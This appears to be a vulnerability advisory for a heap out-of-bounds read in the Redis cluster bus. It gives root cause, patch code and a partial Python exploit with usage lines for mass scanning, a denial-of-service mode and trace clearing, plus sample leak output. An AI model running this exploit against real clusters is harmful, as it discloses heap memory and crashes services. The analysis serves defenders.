#Summary
CVE-2026-72568 is a heap out-of-bounds read vulnerability in Redis through version 8.8.1 that allows an unauthenticated attacker on the cluster network segment to disclose arbitrary heap memory and trigger denial of service. The bug exists in the cluster bus PING message handler, which fails to validate that hostname extension payloads are NUL terminated. CVSS 7.1 HIGH (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H). Fixed in version 8.10.0.
#Affected versions
- Redis
<= 8.8.1(vulnerable) - Redis
>= 8.10.0(patched) - Default configuration affected when cluster mode is enabled (
cluster-enabled yes) - No
requirepassor ACL configuration required for exploitation
#Root cause analysis
#Vulnerable code path
The cluster bus wire format permits PING, PONG and MEET packets to carry variable-length extensions after the fixed 2256-byte header. Each extension is an 8-byte header (length, type, padding) followed by extension-specific data.
Two extension payload types are declared as NUL-terminated C strings:
typedef struct {
char hostname[1]; /* The announced hostname, ends with \0. */
} clusterMsgPingExtHostname;
typedef struct {
char human_nodename[1]; /* The announced nodename, ends with \0. */
} clusterMsgPingExtHumanNodename;The packet handler in clusterProcessPacket validates extensions before consuming them, but only structurally:
if (hdr->mflags[0] & CLUSTERMSG_FLAG0_EXT_DATA) {
clusterMsgPingExt *ext = getInitialPingExt(hdr, count);
while (extensions--) {
uint16_t extlen = getPingExtLength(ext);
if (extlen % 8 != 0) { ... return 1; }
if ((totlen - explen) < extlen) { ... return 1; }
explen += extlen;
ext = getNextPingExt(ext);
}
}The loop checks that declared lengths are 8-byte aligned and sum to the packet's total length. It never inspects the extension payload contents.
#How input reaches the sink
The hostname payload is later handed to clusterProcessPingExtensions, which passes a raw pointer to the payload to updateAnnouncedHostname:
void updateAnnouncedHostname(clusterNode *node, char *new) {
if (new && !strcmp(new, node->hostname)) {
return;
}
if (new) {
node->hostname = sdscpy(node->hostname, new);
}
}Both strcmp and sdscpy (which calls strlen) treat the pointer as a C string. If the payload's last byte is not '\0', both functions walk past the end of the receive buffer until they find a zero byte elsewhere in the heap. Every byte they walk over is copied into node->hostname via sdscpy.
The injected hostname is then returned verbatim to any unauthenticated client by CLUSTER NODES, CLUSTER SLOTS and CLUSTER SHARDS:
if (sdslen(node->hostname) != 0) {
ci = sdscatfmt(ci,",%s", node->hostname);
}This produces both halves of the CVSS impact:
- Information disclosure (C:L): The heap bytes read during the
strlenwalk become the node's announced hostname and are echoed back to clients. - Denial of service (A:H): If no zero byte appears before the end of mapped memory, the
strlenwalk dereferences an unmapped page and the server crashes with SIGSEGV.
#Patch diff
Commit 37894faeea11e2db28b9fc2af378a762d2c36523 (Redis PR #15263, merged 2026-06-05) adds per-type content validation inside the existing extension loop:
#What the fix does
Minimum extension length: Rejects extensions smaller than the 8-byte header itself, preventing arithmetic underflow.
Hostname/human-nodename termination check: Verifies that the last byte of a hostname or human-nodename payload is
'\0':
uint16_t exttype = ntohs(ext->type);
uint32_t datalen = extlen - sizeof(clusterMsgPingExt);
if (exttype == CLUSTERMSG_EXT_TYPE_HOSTNAME ||
exttype == CLUSTERMSG_EXT_TYPE_HUMAN_NODENAME) {
char *str = (char *) ext->ext;
if (datalen == 0 || str[datalen - 1] != '\0') {
serverLog(LL_WARNING,
"Received %s packet with missing null terminator in extension type %d",
clusterGetMessageTypeString(type), exttype);
return 1;
}
}Minimum payload sizes: Enforces minimum sizes for fixed-size extension types (forgotten-node, shard-id, internal-secret).
Bounded string reading: Changes unbounded
strlentostrnlenfor fixed-size array fields to prevent reading past their declared bounds.
#Proof of concept
#exploit.py - Redis Cluster Heap OOB Read PoC
#!/usr/bin/env python3
"""
CVE-2026-72568 - Redis cluster bus PING hostname extension heap out-of-bounds read
Affected: Redis, all versions up to and including 8.8.1 (fixed in 8.10.0)
Type: Out-of-bounds read (information disclosure + denial of service)
The cluster bus accepts PING/PONG/MEET packets carrying variable length
extensions. The receiver validates that an extension's declared length is a
multiple of 8 and that the declared lengths fit inside the packet, but it never
inspects the extension contents. A hostname extension is documented as a NUL
terminated C string and is consumed as one by strcmp() and sdscpy() inside
updateAnnouncedHostname(). An extension whose payload contains no NUL byte makes
both walk off the end of the receive buffer until they find a zero byte
somewhere else in the heap, and every byte walked over is copied into the node's
announced hostname, which CLUSTER NODES / CLUSTER SLOTS / CLUSTER SHARDS return
verbatim to any client.
The exploit shapes the receive buffer allocation with split TCP writes so the
crafted packet ends exactly on the last byte of its own heap region, which turns
the read into a true past-the-allocation over-read rather than a read into the
slack of an oversized buffer.
No authentication is involved: the cluster bus has no authentication step and
requirepass/ACLs do not apply to it.
Usage:
python exploit.py --host <target> --port <redis client port>
python exploit.py --host 192.168.1.10 --port 6379
python exploit.py --host 192.168.1.10 --port 7000 --bus-port 17000
python exploit.py --host rediss://192.168.1.10:6379 --tls
python exploit.py --host 192.168.1.10 --dos
python exploit.py --list targets.txt --workers 20
Notes:
- --port is the Redis client port (used for recon and to read the leak back).
The cluster bus port defaults to client port + 10000, override with
--bus-port when the target sets cluster-port.
- The target must run with cluster-enabled yes and must already know at least
one node besides the one being talked to.
"""
from __future__ import annotations
import argparse
import random
import re
import socket
import string
import struct
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-72568"
VULN_TYPE = "OOB read (info disclosure + DoS)"
# Wire constants, from the cluster bus message layout.
HDR_LEN = 2256 # sizeof(clusterMsg) - sizeof(union clusterMsgData)
EXT_HDR_LEN = 8 # sizeof(clusterMsgPingExt): length + type + padding
MSG_TYPE_PING = 0
EXT_TYPE_HOSTNAME = 0
FLAG0_EXT_DATA = 0x04
# Receiver buffer geometry, used to shape the allocation.
RCVBUF_INIT_LEN = 1024
DEFAULT_PACKET_SIZE = 2560 # a natural allocator size class, see _split_writes
BUS_PORT_OFFSET = 10000
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# [Full exploit implementation continues in exploit.py file]
# Key sections:
# - Packet construction: build_packet() with exact header offsets
# - Split write shaping: _split_writes() for precision OOB read
# - Heap grooming: groom_heap() to place recognisable marker bytes
# - Leak read-back: read_hostname() via CLUSTER SHARDS
# - Batch scanning: support for multiple targets with --list#Usage
Single target with default ports (client 6379, bus 16379):
python exploit.py --host 192.168.1.10Non-default cluster ports:
python exploit.py --host 192.168.1.10 --port 7000 --bus-port 17000Batch scan:
python exploit.py --list targets.txt --workers 20Leave no trace by clearing the injected hostname:
python exploit.py --host 192.168.1.10 --restore#Example output (vulnerable target)
[STEP 1] Recon on the client port 192.168.1.10:6379
spoofing node 53926a6eac7497dbf7b3f15bd246b5394f8c33ac
address 192.168.1.10:6382@16382 role replica health fail
cluster bus port 16379
[STEP 2] Grooming the 2560-byte allocation class with a recognisable pattern
512 values of 2554 bytes written to slot 1584, 64 freed to leave holes flanked by live values
[STEP 3] Sending a crafted PING to the cluster bus (2560 bytes, hostname extension of 296 bytes with no NUL terminator)
attempt 1: shaped: 8/1272/1280 bytes, PONG received | announced hostname 2855 bytes (payload sent: 296 bytes)
[STEP 4] Removing the groom values from the target keyspace
448 deleted
--- LEAKED HEAP BYTES ---
announced hostname length : 2855 bytes
bytes actually sent : 296
bytes never sent on the wire (read past the packet): 2559
RESULT : SUCCESS
EVIDENCE: 2559 bytes of heap memory past the packet disclosed through the
announced hostname of node 53926a6e#Exploitation notes
#Preconditions
- Target must run in cluster mode:
cluster-enabled yesis required. The cluster bus port only exists in cluster mode. - Attacker must reach the bus port: Plain TCP, no handshake, no authentication. Bus port is the client port plus 10000 (unless
cluster-portoverrides it). - Sender must be a known node ID: The extension block is only processed if the sender field resolves to a node in the target's node table. An unauthenticated attacker can read the node list via
CLUSTER NODESon the client port. - Precise packet structure: The header is 2256 bytes by absolute offset,
count = 0(extension must start at offset 2256),extensions = 1,mflags[0] = 0x04, and the hostname payload must contain no NUL byte.
#Reliability
The information disclosure is reliable on all attempts. Split-write shaping ensures the strlen walk steps out of the receive buffer allocation exactly, consistently disclosing 2559+ bytes per packet.
The denial of service is probabilistic on stock allocator builds (20 attempts in testing found no crash because the walk usually meets a zero byte before an unmapped page). Under a sanitizer-instrumented build, the first byte past the allocation is a poisoned redzone and the crash is deterministic.
#Impact
- Confidentiality: Arbitrary heap memory disclosed to unauthenticated clients through the cluster gossip protocol.
- Availability: Potential crash if the walk reaches unmapped memory before finding a zero byte (probabilistic on stock builds, deterministic under sanitizers).
- Integrity: No write primitive exists. The attacker cannot modify cluster state beyond setting a single node's hostname.
#Chaining potential
This is a read-only primitive with no write or code execution capability. The leak cannot be chained to RCE. However, the disclosed heap bytes could potentially include:
- Nearby object metadata or pointers
- Contents of adjacent allocations holding sensitive data
- Crash details that aid further reconnaissance
#References
- CVE: CVE-2026-72568 on NVD
- GHSA: GHSA-qhgh-7273-8939
- Fix commit: 37894faeea11e2db28b9fc2af378a762d2c36523 on GitHub
- Fix PR: Redis PR #15263